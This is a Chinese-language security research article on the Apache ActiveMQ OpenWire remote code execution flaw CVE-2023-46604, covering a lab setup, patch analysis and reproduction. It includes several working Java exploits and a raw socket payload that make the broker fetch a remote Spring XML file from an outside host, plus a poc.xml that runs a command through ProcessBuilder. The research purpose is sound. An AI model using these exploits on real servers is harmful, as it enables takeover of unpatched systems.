Apache ActiveMQ RCE CNVD-2023-69477 CVE-2023-46604

漏洞简介

Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。

影响版本

Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

环境搭建

没有找到合适的 docker 镜像 ,尝试自己进行编写

可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile

docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7
24677e929dce6ff78e55b97ea06cec12.jpeg

结合 https://activemq.apache.org/version-5-getting-started

e87dcadd4d94c388d8550afcfdc0689d.jpeg

Dockerfile

FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz  /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz 
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616CMD ["/start.sh"]## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml

docker-compose.yml

version: "2.2"
services:activemq:build: .ports:- "8161:8161"- "61616:61616"
0674954d43180982e201c2f0731f0ae9.jpeg
./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616

漏洞分析

下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip

开启调试只需要修改 apache-activemq-5.18.2\bin\activemq

72c681655f3826e3eced14fc8fc1b416.jpeg

https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3

0b399cd2dd8a25a18cb6c9f549e144e9.jpeg 4e1859e8ba85694cdff198fec9674913.jpeg

新版本的修复位置是在

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

09905b181bef048a0a437bdcfa1f0130.jpeg

ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。

寻找调用该方法的位置

5c5ffbc857996537cc4a16ff7cf6a7fc.jpeg

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

adc7f762efc042e6ffccc0dfb15d29b4.jpeg

继续向上寻找调用

3d8ed9917efe9373fb58b798b91ca155.jpeg
image

网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析

org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

9126903a9dcc7120d9dca8e66bca2d69.jpeg

继续向上寻找调用

d9450148875fc37fe50da787217e7584.jpeg

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

2de124f863591c2c5a9c175e3a1399b7.jpeg

我们看到此时 dsm 的值是基于传入的 dis.readByte();

c6bd76c5e4199f8200c4c7778eb56456.jpeg
image
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>ActiveMQ中默认的消息协议就是openwire

编写一个 ActiveMQ 的通信请求

public static void sendToActiveMQ() throws Exception {/** 创建连接工厂,由 ActiveMQ 实现。构造方法参数* userName 用户名* password 密码* brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号*/ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");//创建连接对象Connection connection = connectionFactory.createConnection();//启动连接connection.start();/** 创建会话,参数含义:* 1.transacted - 是否使用事务* 2.acknowledgeMode - 消息确认机制,可选机制为:*  1)Session.AUTO_ACKNOWLEDGE - 自动确认消息*  2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制*  3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制*/Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);//创建目的地,也就是队列名Destination destination = session.createQueue("q_test");//创建消息生成者,该生成者与目的地绑定MessageProducer mProducer = session.createProducer(destination);//创建消息Message message = session.createTextMessage("Hello, ActiveMQ");//发送消息mProducer.send(message);connection.close();}

4f3756064a492e4eb3ec50b4946a2054.jpeg

前面的调用栈为

doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)

此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller

花式触发 ExceptionResponseMarshaller

现在我们的目的就是为了去调用 ExceptionResponseMarshaller

寻找触发 ActiveMQ 中的 ExceptionResponse

119a68168142e32da5ffebbaa9c04666.jpeg

函数 org.apache.activemq.ActiveMQSession#asyncSendPacket

函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command

最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);来触发

4e3ab49ce7218b948962b87f87168c7d.jpeg
public static void ExceptionResponseExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ExceptionResponse expetionResponse = new ExceptionResponse();expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(expetionResponse);//ExploitSession.asyncSendPacket(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);connection.close();}

e435d44bb58851ec9e2595f5647e4ca0.jpeg

由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码

package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}

相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

public static void ConnectionErrorExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ConnectionError connectionError = new ConnectionError();connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));//ExploitSession.syncSendPacket(connectionError);//ExploitSession.asyncSendPacket(connectionError);((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);connection.close();}

public static void MessageAckExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);MessageAck messageAck  = new MessageAck();messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(messageAck);//ExploitSession.asyncSendPacket(messageAck);//((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);connection.close();}

通过数据流进行触发 ExceptionResponseMarshaller

主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller

String ip = "127.0.0.1";int port = 61616;String pocxml= "http://192.168.184.1:9090/poc.xml";Socket sck = new Socket(ip, port);OutputStream os = sck.getOutputStream();DataOutputStream out = new DataOutputStream(os);out.writeInt(0); //out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();

通过伪造类实现触发 ExceptionResponse

我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

535a976bf74092138447acdf0a6a93f2.jpeg

利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal

org.apache.activemq.transport.tcp.TcpTransport#oneway

e9fd12021060f916054ff534f8297cf7.jpeg

通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类

/*** A one way asynchronous send*/@Overridepublic void oneway(Object command) throws IOException {checkStarted();Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");ExceptionResponse response = new ExceptionResponse(obj);wireFormat.marshal(response, dataOut);dataOut.flush();}

将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码

package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}

poc.xml

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg ><list><value>touch</value><value>/tmp/1.txt</value></list></constructor-arg></bean></beans>

漏洞复现

1741059c158ab64b1748d7450714c2c7.gif

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

50123823e0977e8882bedcfe90897552.gif

靶场实操,戳"阅读原文"‍

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/612410.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows系统下python版本Open3D-0.18.0 的快速安装与使用

目录 一、安装Anaconda3二、安装open3d三、测试代码四、结果展示五、测试数据 Windows系统下python版本Open3D-0.18.0 的快速安装与使用由CSDN点云侠原创&#xff0c;爬虫自重。如果你不是在点云侠的博客中看到该文章&#xff0c;那么此处便是不要脸的爬虫。 一、安装Anaconda…

Hive基础知识(八):Hive对数据库的增删改查操作

1. 创建数据库 CREATE DATABASE [IF NOT EXISTS] database_name [COMMENT database_comment]#注释 [LOCATION hdfs_path]#指定当前库的hdfs目录 [WITH DBPROPERTIES (property_nameproperty_value,...)]; #备注创建作者和创建时间 1&#xff09;创建一个数据库&#xff0c;数据…

Linux 常用进阶指令

我是南城余&#xff01;阿里云开发者平台专家博士证书获得者&#xff01; 欢迎关注我的博客&#xff01;一同成长&#xff01; 一名从事运维开发的worker&#xff0c;记录分享学习。 专注于AI&#xff0c;运维开发&#xff0c;windows Linux 系统领域的分享&#xff01; 其他…

最实用的 8 个免费 Android 数据恢复软件

如果您正在寻找最好的免费 Android 数据恢复软件&#xff0c;那就不用再犹豫了&#xff0c;因为我已经列出了最好的软件。不可否认&#xff0c;智能手机和平板电脑等 Android 设备正在与技术一起发展。与以前相比&#xff0c;它们也更加融入了我们的日常生活。 Android 智能手…

Golang,Gin框架使用ShouldBindJSON时出现EOF报错

前言 做毕设ing&#xff0c;使用的是Gin框架做的一个简单的管理系统。但偶尔也会碰到一些稀奇古怪的Bug&#xff0c;因此记录一下。 问题描述 api是这样写的 func UserRegisterHandler(c *gin.Context, user *usecase.UserOperate) {if err : c.ShouldBindJSON(&UserReg…

七种查找算法,十大排序算法

文章目录 常见的七种查找算法&#xff1a;1. 基本查找2. 二分查找3. 插值查找4. 斐波那契查找5. 分块查找6. 哈希查找7. 树表查找 十大排序算法&#xff1a;1. 冒泡排序1.1 算法步骤1.2 动图演示1.3 代码示例 2. 选择排序2.1 算法步骤2.2 动图演示 3. 插入排序3.1 算法步骤3.2 …

数据结构与算法教程,数据结构C语言版教程!(第三部分、栈(Stack)和队列(Queue)详解)三

第三部分、栈(Stack)和队列(Queue)详解 栈和队列&#xff0c;严格意义上来说&#xff0c;也属于线性表&#xff0c;因为它们也都用于存储逻辑关系为 "一对一" 的数据&#xff0c;但由于它们比较特殊&#xff0c;因此将其单独作为一章&#xff0c;做重点讲解。 使用栈…

2022-2023 ICPC, Asia Yokohama Regional Contest 2022(题解)

2022-2023 ICPC, Asia Yokohama Regional Contest 2022 文章目录 A. Hasty Santa ClausB. Interactive Number GuessingC. Secure the Top SecretD. Move One CoinE. Incredibly Cute Penguin ChicksF. Make a LoopG. Remodeling the DungeonH. Cake DecorationI. Quiz Contest…

【申请SSL证书】免费申请阿里云SSL证书

注意&#xff1a;申请 SSL证书的前提是有一个域名且备案了 第一部&#xff1a;申请免费证书 免费 CA 证书购买地址&#xff08;请戳这里&#xff09; 选择合适的选项如下图 为了解决免费证书近期存在的吊销、统计等问题&#xff0c;自2021年起&#xff0c;免费证书申请申请将…

鸿蒙Harmony--状态管理器--@Prop详解

纵横千里独行客&#xff0c;何惧前路雨潇潇。夜半浊酒慰寂寞&#xff0c;天明走马入红尘。且将新火试新茶&#xff0c;诗酒趁年华。青春以末&#xff0c;壮志照旧&#xff0c;生活以悟&#xff0c;前路未明。时间善变&#xff0c;可执着翻不了篇。时光磨我少年心&#xff0c;却…

YOLOv5改进 | 检测头篇 | DynamicHead支持检测和分割(不同于网上版本,全网首发)

一、本文介绍 本文给大家带来的改进机制是DynamicHead(Dyhead),这个检测头由微软提出的一种名为“动态头”的新型检测头,用于统一尺度感知、空间感知和任务感知。网络上关于该检测头我查了一些有一些魔改的版本,但是我觉得其已经改变了该检测头的本质,因为往往一些细节上才…

【读书笔记】学习突围

最近在读一本书《学习突围》&#xff0c;作者是常青&#xff0c;知乎大V。对他的一些回答非常认同&#xff0c;受益匪浅&#xff0c;特此买来纸质书籍细细学习一番&#xff01; 1.【学习心态】&#xff08;拖延症、自控、执行力、专注力&#xff09; 2.【学习方法】&#xff0…

2024.1.11每日一题

LeetCode 2645.构造有效字符串的最少插入数 2645. 构造有效字符串的最少插入数 - 力扣&#xff08;LeetCode&#xff09; 题目描述 给你一个字符串 word &#xff0c;你可以向其中任何位置插入 “a”、“b” 或 “c” 任意次&#xff0c;返回使 word 有效 需要插入的最少字…

Java Http各个请求类型详细介绍

1. 前言 在Spring Boot框架中&#xff0c;HTTP请求类型是构建Web应用程序的重要组成部分。常见的请求类型包括GET、POST、PUT和DELETE&#xff0c;每种类型都有其特定的用途和特点。本文将详细比较这四种请求类型&#xff0c;帮助您在开发过程中做出明智的选择。 2. GET请求…

order by之后的injection(sqllabs第四十六关)

order by相关注入知识 这一关的sql语句是利用的order by 根据输入的id不同数据排序不一样可以确定就是order by order by后面无法使用ubion注入&#xff08;靠找不到&#xff09; 可以利用后面的参数进行攻击 1&#xff09;数字 没作用考虑布尔类型 rand和select ***都可以 …

Linux_Centos7安装snmp服务

Linux_Centos7安装snmp服务 1.背景2.目的3.环境4.操作4.1 手动安装snmp协议4.2 批量安装snmp协议 1.背景 收到云平台异常告警&#xff0c;提示ECS服务器在在一分钟内客户端存在多次ssh远程登陆&#xff0c;被判断为ssh远程破解&#xff0c;通过排查得出为运维系统配置过程中错…

【算法】最佳牛围栏(二分,前缀和,双指针)

题目 农夫约翰的农场由 N 块田地组成&#xff0c;每块地里都有一定数量的牛&#xff0c;其数量不会少于 1 头&#xff0c;也不会超过 2000 头。 约翰希望用围栏将一部分连续的田地围起来&#xff0c;并使得围起来的区域内每块地包含的牛的数量的平均值达到最大。 围起区域内…

2023年山东省职业院校技能大赛高职组信息安全管理与评估 理论题(正式赛)

2023年山东省职业院校技能大赛高职组信息安全管理与评估 理论题 理论技能与职业素养&#xff08;100分&#xff09; 2023年山东省职业院校技能大赛高职组信息安全管理与评估 理论题 【注意事项】 Geek极安云科专注技能竞赛技术提升&#xff0c;基于各大赛项提供全面的系统性…

LeNet-5(fashion-mnist)

文章目录 前言LeNet模型训练 前言 LeNet是最早发布的卷积神经网络之一。该模型被提出用于识别图像中的手写数字。 LeNet LeNet-5由以下两个部分组成 卷积编码器&#xff08;2&#xff09;全连接层&#xff08;3&#xff09; 卷积块由一个卷积层、一个sigmoid激活函数和一个…

了解结构体以及结构体数组

C语言的结构体你真的了解吗&#xff1f; 一起来看一下吧&#xff01;&#xff01;&#xff01; 1.结构体是啥&#xff1f; 结构体是多种数据类型的组合体 2.格式&#xff08;一般放在主函数前&#xff0c;也就是int main()前面 &#xff09; 关键字 结构体名字 {成员列表…